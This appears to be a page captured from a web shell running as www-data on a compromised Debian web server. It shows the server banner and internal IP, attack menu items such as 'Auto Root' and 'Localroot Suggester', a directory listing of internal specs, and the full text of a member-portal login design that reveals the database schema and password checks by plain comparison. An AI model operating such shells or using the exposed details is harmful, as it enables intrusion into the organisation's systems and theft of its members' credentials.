Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
git /
cesa-v3 /
docs /
specs /
Delete
Unzip
Name
Size
Permission
Date
Action
echasl23-admin-login-design.md
1.89
KB
-rw-r--r--
2026-05-18 12:51
echasl23-admin-login-requirements.md
2.43
KB
-rw-r--r--
2026-05-18 12:51
mail-queue-monitor-design.md
2.64
KB
-rw-r--r--
2026-05-18 12:51
mail-queue-monitor-requirements.md
2.04
KB
-rw-r--r--
2026-05-18 12:51
member-portal-login-design.md
2.41
KB
-rw-r--r--
2026-05-20 09:05
member-portal-login-requirements.md
1.48
KB
-rw-r--r--
2026-05-20 09:05
member-transformation-declaration-design.md
2.84
KB
-rw-r--r--
2026-05-20 09:05
member-transformation-declaration-requirements.md
2.02
KB
-rw-r--r--
2026-05-20 09:05
Save
Rename
# Member portal login (V3) — design ## Data model | Table | Entity | Notes | |-------|--------|-------| | `user_login` | `UserLogin` | `id`, `contact_id`, `username`, `password`, `salt` | ## Security ``` form_login → chain provider ├─ users (UserList) ├─ member_portal_users (UserLogin + firm validation) └─ echasl23_users (UserOld) ``` - **Hasher:** `MemberPortalPasswordHasher` — plain compare; `crypt(plain, salt)` when `salt` is non-empty. - **Roles:** `MemberPortalUserService::resolveRoles()` → `ROLE_MEMBER_FIRM`, `ROLE_USER`, `ROLE_LOGGED_IN`, `ROLE_MY_DETAILS`, `IS_AUTHENTICATED_FULLY`. - **Firm resolution:** `MemberContactRepository::findByContactIdWithMemberFirm()`. ## Services | Class | Responsibility | |-------|----------------| | `MemberPortalUserService` | Firm context, roles, session flags | | `MemberPortalPasswordHasher` | Legacy password verification | | `MemberPortalUserProvider` | Load `UserLogin`; reject when firm missing | ## Portal integration `MemberFirmTransformationPortalService::resolvePortalContact()` accepts `UserList` (email + mandated principal) or `UserLogin` (contact id + mandated principal). ## Database validation (cesa_main) Verified against live schema: | Table / column | Entity mapping | Notes | |----------------|----------------|-------| | `user_login.id` | `UserLogin.id` | int PK auto_increment | | `user_login.contact_id` | `UserLogin.contactId` | Matches `contacts.ContactsID` and `membercontacts.ContactID` (2,729+ rows) | | `user_login.username` | `UserLogin.username` | `varchar(12)` — entity length set to 12 | | `user_login.password` | `UserLogin.password` | `varchar(50)` | | `user_login.salt` | `UserLogin.salt` | `varchar(50)`, nullable | | `membercontacts.ContactID` | `MemberContact.id` | Join key for portal firm resolution | | `membercontacts.OfficeID` | `MemberContact.member_office` | Direct FK to `tblMemberFirmOffices` (not `officecontacts` junction) | | `tblmemberfirms.MemberStatus` | `MemberFirm.member_status` | Values include `Member`, `Retired`; no `Testing` in DB (kept in code for legacy parity) | Firm eligibility counts (username/password accounts with `contact_id > 0`): **1,652** can resolve a firm with status in `Member` / `Testing` / `Retired` via `membercontacts` → office → firm — same count as legacy `contacts` → `officecontacts` path. **522** accounts have no `membercontacts` row and cannot pass firm checks on either system.